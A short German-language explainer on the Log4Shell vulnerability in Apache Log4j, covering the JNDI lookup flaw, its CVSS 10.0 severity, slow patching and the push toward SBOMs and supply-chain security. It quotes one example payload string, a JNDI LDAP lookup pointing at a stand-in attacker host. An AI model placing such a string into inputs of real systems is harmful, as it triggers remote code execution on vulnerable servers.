Log4Shell (Log4j)
CVE-2021-44228, Dezember 2021. RCE in Apache Log4j über einen JNDI-Lookup in Log-Nachrichten. Ein simpler String wie ${jndi:ldap://attacker.com/x} in einem HTTP-Header lässt den Server eine Angreifer-Klasse laden und ausführen. CVSS 10.0 — eine der schlimmsten Schwachstellen des Jahrzehnts.
Die Wirkung war gewaltig, weil Log4j im Java-Ökosystem allgegenwärtig ist — im Einsatz auf Milliarden Geräten, von Minecraft bis zu AWS-Diensten. Log4j 2.17 behob das Problem, doch viele Organisationen brauchten Monate, weil die Abhängigkeit tief in anderen Bibliotheken vergraben war. CISA ordnete US-Bundesbehörden an, binnen weniger Tage zu patchen. Die Folgen: SBOM-Adoption (die eigenen Abhängigkeiten kennen), Investitionen in Supply-Chain-Sicherheit, Log-Scrubbing-Bibliotheken. Noch zwei, drei Jahre später stand Log4j im CISA-KEV-Katalog als "aktiv ausgenutzt", während Angreifer das Scannen automatisierten. Ein klassisches Mahnmal.